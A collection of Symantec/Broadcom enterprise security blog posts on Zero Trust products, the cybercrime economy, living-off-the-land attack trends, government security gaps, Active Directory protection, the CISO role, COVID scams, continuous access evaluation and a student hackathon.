The next critical piece is guarding your network all the way out to remote workers. Secure Access Cloud provides highly secure granular access management for enterprise applications deployed in IaaS clouds or on-premises data center environments. This SaaS platform eliminates the inbound connections to your network and creates a software-defined perimeter between users and corporate applications. This zero-trust access service avoids the management complexity of traditional remote access tools, ensuring that all corporate applications and services are completely cloaked—invisible to attackers targeting applications, firewalls, and VPNs.
But not everyone in an organization should have access to sensitive data.
But here’s a wrinkle: You must also provide secure access to the web and this connectivity traditionally requires traffic to be backhauled to a datacenter so security policies can be enforced. That slows performance for users. Symantec Web Security Service provides security for data, apps, and users through a comprehensive cloud-delivered Secure Web Gateway. Built upon an advanced proxy architecture, Symantec WSS offers protection from advanced threats, protection of sensitive information, and compliant cloud application use—all delivered upon a resilient, high-performance network backbone.
Zero Trust also requires efficient investigation and remediation. Symantec provides the telemetry that feeds targeted attack detections, the deep forensic records that speed investigations and powerful tools to quickly address breaches. The company can integrate data-driven analytics and reporting across all control points and create a way to capture telemetry from other solutions within the security stack through Integrated Cyber Defense Exchange technology.
Finally, the Symantec Global Intelligence Network (GIN) applies artificial intelligence to continuously analyze more than nine petabytes of incoming security threat data. It offers the broadest and deepest set of threat intelligence in the industry.
Taken as a whole, these technologies can create an unparalleled Zero Trust environment. If it seems daunting, a Broadcom Software Knight stands ready to assist you now. You can find a Broadcom Software Knight or learn more here.
|
The Industrialization of Cyber Crime and How to Stop it From the Ground Up
Oxford sociologist Jonathan Lusthaus spent 7 years visiting cyber crime havens around the globe. He came back with one overriding message
The organizational chart of today’s cyber crime syndicates is stumpy compared to those of legit tech giants like Alphabet and Microsoft; they resemble dwarfed pyramids with no more than eight or nine horizontal layers. But those layers represent highly-specialized skills, the sort of specialization that the economist Adam Smith would have recognized as a fully mature industry.
As Smith noted by observing the work of pin making in 18th century England, dividing the work into more than a dozen distinct operations allowed a mere ten men to make 48,000 pins a day. A lone craftsman performing all tasks, Smith concluded, could not have made more than 10 a day.
Economies of scale may be text-book familiar in most of our visible industries. But cyber crime, which began its rise two decades ago as the work of lone hackers, and which retains that shadowy image for most of us, has adopted this industrial business model. Today it is organized, complex, globally connected, and full of entrepreneurs, as Oxford sociologist Jonathan Lusthaus makes plain in his new book, Industry of Anonymity: Inside the Business of Cybercrime.
Lusthaus, who is the director of Oxford’s Human Cybercriminal Project, doesn’t concern himself with the technical arms race between crooks and the cyber security industry trying to foil them. Instead, his concern are the lives of the criminals and the sociology of profit-driven cyber crime.
“By looking at cyber crime in social and economic terms,” he says, “we can think about what makes businesses succeed and fail and that opens up a broader discussion on how to stop them.”
Lusthaus spent seven years visiting cyber crime havens in places like Russia, Ukraine, Romania, and Brazil, interviewing hundreds of criminals, hackers, security experts, and law enforcement.
There is such a demand, for a variety of online criminal services and goods, that savvy bad guys have developed niche skills to exploit every single illicit opportunity.
What he found were crime rings organized like firms and carrying out a familiar litany of illicit acts that cost the global economy hundreds of billions of dollars a year—malware ransom, phishing, fraud, blackmail, and identity theft, and even renting out resources (malware) and services (hacking) in online bazars resembling criminal eBays. At the tip of their org charts are bosses who direct the work of coders, hackers, malware marketers, translators to write convincing phishing emails to foreign victims, social engineers to convince banks that fraudulent transfers are legit, and cash-out crews whose job is to turn virtual gains into real-world cash.
There is such a demand, for a variety of online criminal services and goods, that savvy bad guys have developed niche skills to exploit every single illicit opportunity. One US law enforcement agent who Lusthaus spoke to (he uses only first names for both the good guys and bad guys), said these tasks are analogous to animals stripping a carcass in the wild. Criminals, Lusthaus writes, “have found ways of extracting value from every piece of data and every specialist role.”
As a sociologist, Lusthaus’ primary solution for making these businesses fail is not a battering ram to their front doors, but a softer sociological and economic approach. “Some of the more serious offenders in Eastern Europe are highly educated and technically talented people,” he says. “But there’s not always an economy or tech sector that can support that scale of talent.”
So, says Lusthaus, these wannabe Zuckerbergs and Gateses, with no access to venture capital or tech incubators, “are forced to become entrepreneurs of a criminal kind. Their startups become shadow industries that are then supported by talented coders, marketers, and other specialists.”
Counter Strategies
To break this cycle is a large and difficult problem. It will take a lot of planning, money, and international cooperation. But with the costs of cyber crime so high, Lusthaus and others say, it is worth the undertaking. The first route is for legitimate industry to recruit these bad actors, preferably before they commit crimes. Tech companies in the US and UK already do this to some extent, but if they want to stop these crimes they should expand recruitment programs.
Particularly valuable to the cyber security industry, in desperate need of talent to help fend off the millions of cyber attacks on businesses every single day, are the bad actors themselves.
“I hear all the time about the skill shortage in the cyber security industry,” says Lusthaus. “If you get people of appropriate skills, with knowledge of the cyber underground, and who can speak multiple languages, they would have major advantages.”
Investing in nations friendly to cyber criminals, and providing the funding for legitimate tech businesses, is another way to create a pinch-point to stop the flow of talent to the dark side. That route is much harder because of localized state corruption and a lack of working legal systems.
But companies can sponsor conferences and local competitions to draw in the technically savvy and introduce them to lucrative online professions. For instance, programs like The Cyber Security Challenge in the UK is a series of national competitions and networking meetups created to identify, inspire and enable more people to become cyber security professionals.
Parents also play a role. Jason Nurse, an assistant professor of cyber security at the University of Kent who studies pathways into cyber crime, says a lot of kids stumble into this world through gaming. “They’ll be looking for gaming cheats and mods on games like Fortnight, where they can sell skins (character costumes) and skills and then the find their way into criminal forums.”
Investing in nations friendly to cyber criminals, and providing the funding for legitimate tech businesses, is another way to create a pinch-point to stop the flow of talent to the dark side.
Next thing you know, the kids are strolling into the house with expensive sneakers and jackets, a sign that they may be making illegal money online. “It used to be that if kids stayed in their bedrooms, the parents didn’t worry about them, as long as they were home and not out getting into trouble,” says Nurse. “Now the world, and the underworld, is right at their keyboards.”
Of course, the online criminal world is full of the untalented as well, the piggy backers who don’t know code from a comb, but can find their way to the dark web and buy malware for a few bucks and fire it off indiscriminately, something hitting their target and reaping a few thousand dollars in ransom. Or the cash out crews, who are no more than real-world illicit money runners.
“This lower level criminal that is living off the work of other talent is a much bigger challenge,” says Lusthaus. “It’s a traditional problem. How we deal with people in crime is an old problem, throughout the whole through history of human time. We’re not going to get rid of crime ever.”
But it helps not to think of battling it solely through software updates and patches. “Most people think cyber security is a technical issue,” says Nurse. “But the sociotechnical, human, and organizational factors are all are massively important and different than traditional data security. So, we can’t only think about technical solutions. We have to consider the human solutions.”
|
The Last Integration: Why This Needs to Happen Now
It’s time to break down the silos that still separate data and threat protection so that threat security control points become fully data-aware
Across the cyber security industry, most companies have kept the technology stacks between data and threat protection very separate.
The threat protection stack doesn’t know about the data; it’s looking for indicators of compromise. Threat protection technologies cannot decipher if a file being sent outside a company is a picture of someone’s kid or the latest source code for a new project. These tools solely focus on signs of an active threat. The data protection stack knows if the information is indeed the latest source code, but it doesn’t know if the person emailing it is a threat. The technologies are fighting the good fight, but in silos, limiting their ability to see the forest for the trees. One side thinks indicators of compromise, files, hashes, URLs and IP addresses. The other thinks, “How is the data classified? Is there personally identifiable information?”
It’s time to break down the silos and put it all together.
Take data loss prevention (DLP), encryption and multi-factor authentication tools, for example. DLP is the brain of protection. It understands the data. It knows if a file has personally identifiable information or proprietary source code. DLP is intelligent, however it doesn’t actually protect the data; it just blocks the user from sending it. Don’t share that file. Don’t send that email. DLP is Captain “No.”
Encryption, on the other hand, is very good at protection, however it has no idea how to differentiate between sensitive data that must be encrypted and data that doesn’t need to be encrypted. So, companies encrypt everything from a picture of an employee’s kids to a confidential document. Multi-factor authentication is another tool that is good at protecting access to sensitive data, but once it grants a user access, it steps out of the way. It doesn’t protect anything pertaining to that user any more. What if we brought these three tools together so that they automatically talked to each other? What if DLP was the brain of encryption and encryption became identity aware? DLP would tell encryption if a file were classified. Encryption would encrypt that file, and only decrypt it if a user authenticated properly.
Another example is integrating DLP with endpoint protection tools. Endpoint protection can tell DLP to monitor data that is unknown or a suspicious application because it could be a zero-day attack. Then, DLP can tell the endpoint tool, “That process is trying to access highly confidential data,” to which the endpoint tool responds, “I am going to stop it right now because an unknown application should not be allowed to do that. It could be an advanced persistent threat, ransomware, etc.”
What if DLP was the brain of encryption and encryption became identity aware?
If you think about it, all threats have one thing in common that they cannot hide: they want to steal critical information. Threat security control points should be data aware to be able to block access to confidential data, so a potential threat cannot do anything with it.
There is one more significant technology that serves as the glue binding these tools together – user and entity behavior analytics (UEBA). UEBA, which is the core of our Symantec Information Centric Analytics solution, provides a user-focused lens on who is interacting with sensitive data and how they are interacting with it. It blends the threat and data stacks, prioritizing which users need immediate investigation based on the value of the data at risk, associated vulnerabilities and the impact if the data were compromised.
Let’s say “Jane” typically emails “Bob” payroll information because they work in the payroll department. But, one day “Jane” emails payroll information to someone outside of the company. DLP would block the information from leaving and tell encryption to encrypt the data. UEBA would flag Jane’s unusual behavior, compare it to the behavior of her peers such as Bob, and overall business unit, and prioritize the alert as highly critical so investigators know to follow up with Jane immediately.
This is called the last integration. If you think about it, all threats have one thing in common that they cannot hide: they want to steal critical information. Threat security control points should be data-aware to be able to block access to confidential data, so a potential threat cannot do anything with it.
If you found this information useful, you may also enjoy:
Symantec Information Centric Analytics
(PDF) 7 Things UEBA Detects
|
The Living Off the Land Surge
Attackers adapt to new workforce trends to hide in plain sight
Stop me if you’ve heard this before: “2020 was a transformational year, changing the way people all over the world live and work.” Yes, we get it. The last year brought many disruptions to the workplace and left security teams scrambling to protect their new environments. But, what exactly were the biggest changes that brought these disruptions? Have attackers changed their tactics too? Symantec’s Threat Hunter team, part of Broadcom, just released new research on the growth of Living off the Land attacks, and the results are worth highlighting.
In essence, Living off the Land (LOTL) refers to attackers using either operating system features or dual-use tools (legitimate tools put to malicious uses). LOTL is by no means new. Our Threat Hunter team has been tracking it for more than five years, when it used to be a novel and niche attack tactic. Now we see it as one of the mainstays of sophisticated attack techniques.
In essence, Living off the Land (LOTL) refers to attackers using either operating system features or dual-use tools (legitimate tools put to malicious uses).
The appeal to attackers is obvious, as LOTL provides them with an opportunity to fly under the radar. A legitimate tool is less likely to raise suspicions (and less likely to trigger an antivirus detection). With attackers and employees using the same tools and processes, malicious activity becomes a needle in the haystack, hidden among the vast (and growing) legitimate activity on the victim’s network. Worst still, living off the land tactics enable attackers to curb the use of malware until much later stages in the attack chain, as in the case with ransomware, leaving the victim little or no time to respond.
While the Living of the Land research white paper (available here for download) goes into great detail on the most popular Dual-use tools leveraged by LOTL attacks, as well as provides several attack case studies, here are a few key takeaways:
Dual-Use tool use is exploding: 2020 saw a 29.4% increase in popular dual-use tools in customer environments. From 5.9 billion executions in 2019 to 7.6 billion in 2020.
Malicious use of dual-use tools also boomed, but notably, grew exponentially compared to legitimate use. From 0.9% of total executions in 2019 to 18.8% of total executions in 2020.
While a detection heavy security solution may alert on the possible misuse of these tools, the sheer numbers indicate that preventing execution is far preferable to having incidents created and putting the burden put on the SOC to distinguish between good and bad usage of legitimate tools.
So, what conclusions can be drawn from this new research?
A boom in dual-use tools allows attackers to hide in plain sight. This trend is forcing changes in how to stop them.
Protection will be critical in stopping these attacks. Detection may seem to be the answer, but the sheer number of malicious and legitimate usages makes treating each one as an incident impossible. Strong balance in both Protection and Detection is critical. (SES Complete recently completed the rigorous MITRE attack 3rd party testing and the results highlight why this balance is so important.)
Device hardening is a key component of Protection. But no two customer environments are the same. Companies rely on dual-use tools differently, and a one-size-fits-all approach to security does not work. The next innovation in endpoint security will come in the form of custom protection that adapts to the customer's ever changing threat landscape. Stay tuned for more on this soon!
|
The Looming Crisis: Government Agencies and Cyber Security
How secure are the government agencies to cyber attacks? The answers are disturbing at best, frightening at worst. Solutions exist. But they will take political will
Every day, Americans by the millions interact with agencies of their government. They apply for student loans, passports, social security, home mortgages. They send personal information to an alphabet soup of agencies: DOT, HUD, USDA, HHS, SSA, DoED, as well as the Departments of State, Interior, and literally, dozens more. These Americans – all Americans – assume that these agencies are protecting their sensitive financial, medical and other personal data. But according to a recent United States Senate report, that expectation is far from reality. The truth is that when it comes to securing our most valuable personal information, our government is basically a giant piñata. The reality would be almost comical if it wasn’t so serious.
So, what’s going on? What are these agencies doing to mitigate risk and how much risk is involved? The answers are -- not much, and insanely risky.
A Constant Threat of Attack
Our federal agencies are under constant, relentless attack. As the Senate report details, in 2017 alone, government agencies reported 35,277 cyber attacks, an average of nearly 100 a day. But that figure does not include the number of attempted scans or probes of agency networks. If those incidents were included, the number of potential attacks would more than double.
Even more disturbing, the majority of the agencies surveyed could not provide a list of all their information technology (IT) assets. They literally have no idea what they have, where they are, and therefore, all of the applications – good or bad -- running on their networks. As Nick Marino, director, information technology and cyber security, for the U.S. Government Accountability Office (GAO) puts it, “what you don’t know, you don’t know.” Without that basic knowledge, agencies cannot secure their applications. It also means that the officially reported numbers of cyber attacks need to be taken with more than just a grain of salt. They are really no more than very conservative guesstimates. As a recent report by the Office of Management and Budget (OMB) concluded, agencies “do not understand and do not have the resources to combat the current threat environment.”
State of the Security Infrastructure
The Senate report reviewed a decade’s worth of agency Inspectors General (IG) audits of their organization’s compliance with the federal government’s basic cyber security standards. The IG audits disclosed a number of systemic problems common to virtually all of the agencies. In addition to the inability to maintain and supply an accurate list of IT assets, it shows that a majority of the agencies fail to install security patches when notified to secure proven vulnerabilities; did not, or could not certify the security readiness and operations of their systems; and acknowledged that they are using legacy systems no longer supported by their original vendors – making them increasingly costly and more difficult to secure.
It may be hard to believe, but DHS continues to use outdated, unsupported systems, such as Windows XP and Windows 2003.
Perhaps most startling is the fact that the Department of Homeland Security (DHS), the agency responsible under OMB for administering the government’s cyber security policies and practices has failed to address more than a decade of cyber security weaknesses within its own systems. It may be hard to believe, but DHS continues to use outdated, unsupported systems, such as Windows XP and Windows 2003. Then again, this is still light years ahead of agencies like the Social Security Administration which is still running critical programs on COBOL, a computer programming language so old – it was developed in 1959 -- that the SSA is having increasing difficulty finding IT professionals with the expertise to continue to maintain it.
Given all this, it should come as no surprise that the nation’s most secretive organization, the National Security Agency (NSA), was hacked just a few years ago of some of its most powerful cyber weapons. Weapons that since then have been used in a number of recent high-profile ransomware attacks on US cities and other targets of opportunity. Perhaps the only surprise is that it didn’t happen sooner. Or when we’ll discover it’s happened again.
Risk Management the Key
The OMB report identifies the two largest and most substantial risk factors as, first, the legacy systems prevalent across so many agencies, and second, the shortages of experienced and capable personnel to maintain them. A GAO report published in July 2019, echoes that conclusion. It states that the vast majority of government agencies surveyed listed “hiring and retaining key cyber security management personnel” as their biggest challenge to improving their cyber security.
The various government reports issued by the Senate, OMB and the GAO all align on what needs to be done to improve the cyber security of our nation’s federal agencies. They all agree that the first step is to put into place risk management systems that will allow agencies to identify which areas need to be addressed and in what priority. One reason this is so important is because any solutions will likely outlast an agency’s present leadership. As the GAO’s Marino points out, the average tenure of an agency chief information officer (CIO) is just two years. Technology solutions already proposed or in progress, such as the DHS’s National Cyber Security Protection System (NCPS), better known as Einstein, and Continuous Diagnostics and Migration (CDM) program, may have lead times measuring a decade or more.
Identifying their most significant risk factors will allow each agency to make the case for the right budget to address these issues, regardless of leadership turnover, the operations and management (O&M) needs that have for at least a decade taken up 80 percent of every agency’s IT budget and other challenges. When you don’t know what you don’t know, that goal becomes far more difficult. “In cyber security management, it’s always a matter of accepting risk because of a lack of resources,” concludes Marino. “The best one can do is identify what creates the most risk.”
|
The Missing Piece of the APT Security Puzzle – Symantec Endpoint Threat Defense
Active Directory is the most targeted asset in the organization. Here’s what you can do about it
For attackers, Active Directory is the most targeted asset in the organization.
It takes only one compromised domain connected endpoint to take control of an organization’s vital assets. Active Directory (AD) is a database exposed, by design, to any domain connected user, meaning all identities and resources on a corporate network are visibly exposed, making AD the number one target for attackers. With just a few queries to Active Directory from a compromised endpoint, an attacker can obtain all information needed to steal domain admin credentials and move laterally to high value assets.
OK, I’m Listening. But is it Really that Common?
Targeting Active Directory is more common than you might think.
While nine out of ten companies around the world use Microsoft Active Directory to control and maintain internal resources, companies nowadays are focused on defending endpoints, applications, servers, mobile devices, and networks. That leaves Microsoft Active Directory as the least protected asset in the company. And as documented by MITRE, attackers exploit this extensively:
Active Directory is an essential building block of every APT campaign
Anatomy of an APT Attack Using Active Directory
So, how do attackers exploit Active Directory to conduct APTs? Attackers start on an endpoint. Once they gain a foothold on a domain-connected endpoint, they perform reconnaissance of the Active Directory database to gain visibility into all domain-connected resources, including servers, endpoints, applications, and users.
Their next step is to steal domain privileged credentials and move laterally. With stolen credentials, attackers are granted full and stealth access to all servers, applications, and computers in the organization – with the end goal of stealing or encrypting data. For an attacker, 7 minutes is all it takes, post-endpoint compromise, for them to achieve domain dominance, essentially granting them the keys to the kingdom.
The Failure to Protect Active Directory
The industry has offered user behavioral analytics, network monitoring, and privileged access management tools as compensating control for attackers compromising domain user and admin accounts. However, these tools and methods focus on detection too late in the attack cycle. Attackers’ use of trusted applications and built-in tools to learn about the environment, steal credentials and move laterally, as opposed to use of malicious binaries, makes detection and mitigation on-time, nearly impossible. Therefore, it’s important to look for security solutions that protect Active Directory by containing attackers as early as possible in the attack cycle before they can gain a foothold on the domain and establish irreversible persistence.
Time for a New Approach, New Solution
Symantec’s solution approach entails containing attackers as early as possible – at the endpoint - before they have any opportunity to persist on the domain. The moment an endpoint gets compromised Endpoint Threat Defense for Active Directory starts working to thwart domain admin credential theft and lateral movement.
Using AI-driven intrusion detection this solution autonomously learns the organization’s Active Directory structure in its entirety and uses this data to create an authentic and unlimited obfuscation. All Active Directory queries from the endpoint are evaluated and obfuscated in runtime based on context.
With obfuscation, a perspective of the domain-connected assets compromised is projected to the attacker; the attacker gives themselves away, while interacting with assets or attempting use of domain admin credentials on the solution’s perception. Because Threat Defense for Active Directory relies on automated obfuscation of Active Directory assets to massively increase the number of assets presented to the attacker from the endpoint, the odds of an attacker selecting a legitimate asset is 1%, which means this solution provides a 99% rate of success stopping an attacker on their first move.
To learn more about Endpoint Threat Defense for Active Directory, click here
|
The New CISO Agenda
Two decades of digital changes have fostered an increasingly complex threat landscape, forcing dramatic transformations in the CISO’s job.
Now that cyber security is finally acknowledged as a bona fide enterprise risk, CISOs are being tested to stretch beyond their technical roots and embrace a role that demands the full range of leadership and management skills exemplified by others in the C-suite.
An increasingly complex threat landscape coupled with an active regulatory climate has elevated security issues to the highest echelons of corporate management. At the same time, companies are venturing deeper into digital transformation, shifting critical business processes and revenue opportunities online, which requires proper safeguards.
The upshot: IT security leaders have had to embark on a transformational journey of their own, evolving from technical implementers to stewards of enterprise security strategy across lines of business and within the top executive ranks.
Many liken the shift to the metamorphosis of the CIO role over the last couple of decades as information technology took root as the foundational building block of business.
“In much the same way, the CIO role changed as business got more immersed in new technology, the CISO is now taking a much more active role,” says Bill Brown, senior vice president and CISO at Houghton Mifflin Harcourt, who has also served as a CIO. “Digital transformation has a huge impact on data and the security and privacy of that data. As a result, the CISO role needs to move front and center to enable the business to act on security and privacy by design.”
The irony is the role now moving to the frontlines didn’t exist a couple of decades ago and is still somewhat of a rookie position in many organizations. In fact, while the 2017 State of the Cyber Security Study released by the ISACA uncovered an increase in the CISO ranks--65% of companies now have a CISO, up from 50% in 2016—the research found that in many cases, the bump could be tied to a simple title change as opposed to bringing in talent with more sophisticated security and management experience.
But with vastly bigger reservoirs of data to protect and in light of an increasing connected enterprise, CISOs need to move beyond the role of technical enforcer and compliance monitor to be aligned more closely with the business and manage information risks at a more strategic level.
“I call it the CISO mullet,” Brown explains. “In the past, the CISO was looked upon as an enforcer, making sure products passed through a staged gate and telling people what not to do. Now the role has changed to one of an enabler so CISOs have to figure out how to play with other partners and IT to go further, faster.”
Faces of the New CISO
Security professionals ready to step into a redefined CISO role should prepare for a range of new responsibilities. A Deloitte report identified what it dubbed the four faces of the new CISO: Technologist, responsible for guiding the design and deployment of security technologies and standards; Guardian, charged with monitoring the effectiveness of the security program, processes, and controls; Strategist, tasked with aligning business and IT security standards; and Advisor, helping to identify cyber risks and engaging the organization and key executive stakeholders to increase security awareness.
As part of the new agenda, CISOs will need to:
Foster IT security/business alignment
It’s been a CIO mandate for years and now it’s hit the radar screens of CISOs. Instead of the narrow view of cyber security as a technical issue, CISOs need to take a higher-level risk management approach, working with the business to sync security operations with key business objectives while developing an understanding of what data is critical and the overall risk if lost or compromised.
According to the Deloitte report, 90% of CISO respondents have a desire to improve the strategic alignment between the security organization and the business, but close to half (46%) are concerned about their ability to achieve that goal. The reason for their reticence: Most ascending to the CISO spot hail from traditional tech-oriented roles, potentially responsible for maintaining hardware or developing software, or have been in the weeds overseeing compliance-related activities and threat detection and remediation. Many also lack pertinent business development and management experience, which limits their ability to communicate strategically with the business as opposed to talking security bits and bytes.
Polish up board-level communication skills
It’s not just about an ability to communicate successfully with the business—CISOs also need to be able to talk about security issues at an executive level, with both the C-suite and boards of directors. This requires developing a whole set of new competencies, from listening skills to business acumen, to ensure a seat at the executive table. Many CISOs are heading back to school to get the relevant training: A Forrester Research study of Fortune 500 senior security leaders found that 45% with graduate degrees now have an MBA.
“CISOs need to have charisma, presence, and communications skills,” says David Bradbury, chief security officer for Symantec. “They need an ability to understand the importance of human relationships to their success and to be able to translate business requirements into cyber security needs.”
Understand risk in new terms
Of course, CISOs will still spend time overseeing security implementations and managing responses to specific cyber incidents. But they also need to foster a shared enterprise risk strategy, which includes the upside of leveraging security for competitive advantage.
“CISOs are now being elevated into conversations that traditionally were the province of the HR exec or the chief investment officer and they need to be able to contribute accordingly,” says Symantec’s Bradbury. “That means, not just talking about risk reduction, but how to leverage cyber security as a differentiating strategy for the company and to foster trust in the brand.”
|
The News is Always Changing and Scams Still Abound
Symantec Enterprise will stay vigilant in protecting our customers
Did you know that there is a Nigerian Prince working at the World Health Organization? I didn’t either until I began reviewing some of the attacks we’ve been blocking from cyber criminals looking to take advantage of the coronavirus.
As expected, we’ve been blocking hundreds of thousands of attacks looking to steal login and passwords, plant malware on your machine or scam you in multiple ways. Predictably they offer you critical information that is only a click away. Unsurprisingly that click may look like it takes you to the cdc.gov domain, but instead you are sent to a malicious URLs.
What did surprise me was the Nigerian Prince. Now let me state up front that there may be a legitimate prince that works at WHO. And I apologize for dragging them into this. The actual emails that we are seeing supposedly come from the “Director-General”, but their offer is exactly what that Nigerian Prince has offered you past – a large amount of money.
Does it make sense that WHO would offer you a large amount of money? Well, no. But when has it ever made sense for a Nigerian Prince to? The con here is that the WHO wants to enlist your help in fighting the coronavirus by giving you half a million dollars. No need to prove your virus fighting capabilities, just send some money up front, because that is what the guidelines are – and the money is yours.
The unsurprising lesson from all this is that while news events may change, the scams taking advantage of them never do. We’ll stay on the lookout for them. You should too.
|
The Next Evolution in Symantec Access Management
How do you leverage data protection risk signals within your access management platform?
I recently read a blog from a colleague about the importance of Identity and Access Management as the cornerstone for implementing a Zero Trust architecture, and there were two sentences that really struck a chord. The first was, “Identity is the last (and sometimes only) defensible perimeter” and the second was the need to move to a “pro-active observe --> detect --> prevent approach...to be a lot more agile in preventing risky identities from causing significant damage.”
These stuck out because I have also been exploring ways to improve our own session management capabilities and examining the recent progress made within the standards bodies to accomplish the same goal. But before we get into the details on both fronts, let’s consider where we used to be and why we need to evolve.
Continuous Authentication/Verification in the Time of Cookies
The concept of continuous authentication is not new. For over twenty five years SiteMinder has been securing online resources. From the user’s perspective, they authenticated once and then had seamless access to their resources, but in the backend, the session management capabilities of SiteMinder were continuously verifying their identity before granting access. And the bulk of this data was stored within the SMSESSION cookie, a proprietary mechanism used for session management. So, if we solved this problem years ago, why the need to change?
Part of the answer lies in the evolution of the underlying IT technology stack, including apps and data running outside of any defined security perimeter. But at the end of the day we are still dealing with claims based tokens being used to validate access to a resource. What is more significant, is the rise in cyber-attacks based on the opportunities presented by this perimeter-less architecture and the need to move from the existing point-in-time access checks to a continuous process that leverages real-time risk signals from a range of sources to significantly improve how we determine whether or not to grant access and also when to revoke that access.
The Rise of the Machine and Behavioral Analytics
Finance was one of the first sectors to pioneer the use of User and Entity Behaviour Analytics (UEBA) within the authentication and authorization process to implement stronger authentication mechanisms for online banking. The Broadcom Payment Security Division actually partnered with leading credit card providers to develop the first 3D-Secure specification to secure online credit card transactions, which leverage contextual risk models to help prevent fraudulent transactions. This same risk technology is also incorporated within our IAM solution, allowing it to capture historic usage and behavior data, and compare this data against real-time time data collected during authentication. This has proven to be very effective in helping enterprises balance when they apply stronger authentication mechanisms to their users (that is, just when higher risk is detected). And, while this has been very effective, it has been recognized that more data is needed to further improve upon this type of analysis. The challenge now is identifying what types of data to collect and from where?
A Standards-based Approach to Risk Management
Earlier access management technologies all implemented session management through a proprietary mechanism. This was done not just to make them more secure, but also because in many cases, these systems were solely responsible for managing authentication, authorization, and auditing for the protected online resources. But over time as these services became distributed over many types of technologies and were delivered as discrete services, the need for formal standards to handle these types of communications became apparent. SAML was the first identity standard, but this was eclipsed by OpenID Connect (OIDC), and it is within the OpenID foundation that improving interoperability for session management has really taken off.
One initiative, pioneered by Google, is the Continuous Access Evaluation Protocol (CAEP), which focuses on sharing events that relate to changes in access profile over time such as network connection, user behavior and other related risk context. This information can then be used to communicate adjustments to authentication controls over the life of a session as the context for the session changes. CAEP has since been merged with a similar initiative called Risk & Incident Sharing and Collaboration (RISC), under the Shared Signals and Events (SSE) working group within the OpenID Foundation. RISC focused on sharing events that can enable providers to prevent attackers from compromising linked accounts. For example when social login is used to authenticate to a variety of cloud services, any compromise to the account should be immediately communicated to all providers.
Symantec, as a division of Broadcom, has numerous security technologies to address the various pillars of Zero Trust, but bringing these components together to deliver premium threat protection for our customers is where we bring the most value.
The main difference between what the SSE is doing and standard OIDC session management is that the SSE is more concerned with detailed aspects of session state changes, whereas OIDC simply supports single logout. The SSE is also looking at a broader set of data that could be leveraged, ranging from suspicious activity detected in endpoint solutions, firewalls, or proxies (such as CASB technologies); effectively any technology that can detect risky behavior and share that information.
But standards themselves don’t necessarily result in changes. As mentioned earlier, the primary catalyst for why this topic is important now is that migration of data and applications to the cloud has reached critical mass for many organizations. And this is raising the priority and demand for the continuous sharing of detailed session state and user/device risk context in order for Zero Trust frameworks to adapt. In other words, enterprises need to move forward now, adding continuous evaluation to their access management flows and evolve along with the standards.
How Symantec can Advance Your Efforts to Achieve Continuous Authentication
Symantec, as a division of Broadcom, has numerous security technologies to address the various pillars of Zero Trust, but bringing these components together to deliver premium threat protection for our customers is where we bring the most value. For example, let us consider our conversation to this point and the question we posed at the very beginning – how to leverage data protection risk signals within your access management platform?
Thanks to the efforts of the SSE working group, the mechanism for sharing these risk signals between interested systems is already well defined and gaining industry wide adoption. Our focus was to find a rich source of risk data that could be ingested to improve access decisioning beyond the traditional device fingerprint/geolocation changes. To this end, we used our Identity Fabric platform (VIP Authentication Hub) to integrate risk context from Symantec DLP into the access controls provided by Symantec SiteMinder using the relevant standards from the OpenID foundation to perform continuous risk-based access evaluation and session management and to greatly mitigate the risk associated with identity theft.
The diagram below shows conceptually how this works. And given the services provided by VIP Authentication Hub to enable this integration are standards based, it would not be difficult to expand this model to include risk context from other Symantec solutions or indeed similar standards compliant solutions from third-parties.
Thanks to the policy engine within VIP Authentication Hub, the process to configure this is fairly simple. When users attempt to access a SiteMinder protected resource, they are directed to VIP for part or all of the authentication process using Identity Federation. VIP collects risk signals from the DLP solution to use as part of the risk assessment and based on the result can either allow the request prompt the user for additional credentials or deny the access request. Once authenticated, the user is granted access to various resources covered by the session token. In the background, VIP continues to collect risk signals from DLP and if required terminates the session. At this point the user is forced to re-authenticate and if the risk level detected is high enough, will be blocked from further access until the risk incident has been resolved.
You can find a short recorded demonstration here of this in action using the following solution components:
Symantec Siteminder 12.8.05
Symantec VIP Authentication Hub 1.0
Symantec DLP 15.7
Symantec CloudSOC 3.132
Summary
With traditional security perimeters no longer a viable strategy, Identity is now possibly the only line of defense. So it seems logical that other aspects of a cyber-defense platform should provide as much user risk context as possible to the access evaluation process. And this process needs to be continuous both in adjusting authentication assurance levels to changes in risk over time as well as revoking risky sessions immediately to minimize the time-window available to exploit any compromised credentials.
The OpenID foundation along with the likes of Microsoft and Google have done a great job in setting up a framework for communicating security events related to authentication between interested parties. What is needed now is for enterprises to leverage this framework to include user risk signals from relevant parts of their security solutions into their existing authentication flows.
With the VIP Authentication Hub, we have provided a platform to do just this with an initial focus on integrating Authentication, Access Management and Data Protection to deliver continuous authentication driven by context-aware authorization.
Continuous Access Evaluation with Symantec DLP and IAM
|
The Next Generation: Teens Display Tech Chops at Symantec Hackathon
Students from South Africa, Indonesia, Bolivia, and US compete in 3-day event to develop apps targeting myriad criminal justice issues
The ongoing battles between cyber criminals and security teams sometimes assumes the appearance of an endless stalemate. But a group of technically-skilled high schoolers participating in a recent hackathon showed that there’s still room for fresh ideas about how to break the logjam and combat cyber crime and corruption.
The student teams, who gathered at Symantec’s Mountain View, Ca. headquarters last week, came from South Africa, Indonesia, Bolivia, and United States to participate in a three-day #Hack4Justice Hackathon to compete and build applications that help solve criminal justice issues.
#Hack4Justice served as a platform for the teens to focus on developing applications that addressed problems in global criminal justice, organized crime, drug-related crime, and crime prevention. The event was organized by the United Nations Office on Drugs and Crimes (UNODC) and Africa Teen Geeks, a South African organization that provides computer science training in underserved communities.
“I was able to meet a lot of new people and I got to talk to a lot of the mentors and learn about how they got into the positions they are in today,” said Malinalli Cervantes from the United States.
#Hack4Justice served as a platform for the teens to focus on developing applications that addressed problems in global criminal justice, organized crime, drug-related crime, and crime prevention.
The hackathon offered Cervantes and her fellow coders an opportunity to showcase their considerable talents - and passions - for software design and development. Taking place in the heart of the Silicon Valley, the hackathon also offered the students a chance to gain valuable insights from the several Symantec employees who served as mentors at the event, sharing experiences about what it’s like to develop software applications at a global company in the United States.
The South African team (nicknamed Wakanda Vibes), placed first with a mobile social justice app that allows users to alert incidences of human trafficking while also offering education about different types of organized crime and how to prevent them. The app featured a way to alert local authorities as well as notify a personal contact if a user found themselves in trouble.
The Beyond Zero team from Indonesia placed runner-up with an interactive game that teaches players about cyber crime and corruption, allowing users to play the role of a Mayor working to keep citizens safe.
